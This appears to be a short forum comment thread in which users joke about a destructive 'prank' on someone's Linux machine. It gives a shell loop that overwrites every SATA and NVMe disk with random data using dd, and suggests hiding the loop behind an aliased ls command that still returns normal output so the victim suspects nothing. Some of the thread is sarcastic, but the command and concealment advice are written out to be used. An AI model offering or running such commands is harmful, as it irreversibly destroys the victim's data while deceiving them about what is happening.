39 points
Let’s extend a little and really do some damage
for x in /dev/(sd|nvme)*; do dd if=/dev/urandom of=$x bs=1024 & ; done
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Now alias ls=
all that. And throw it in a background process. And actually return the value of ls so it doesn’t look like anything nefarious is going on.
I bet you could chroot into a ram disk so you’re not tearing the floor out from under you.
The victim would find this prank hilarious and everyone would like you and think you’re super cool.
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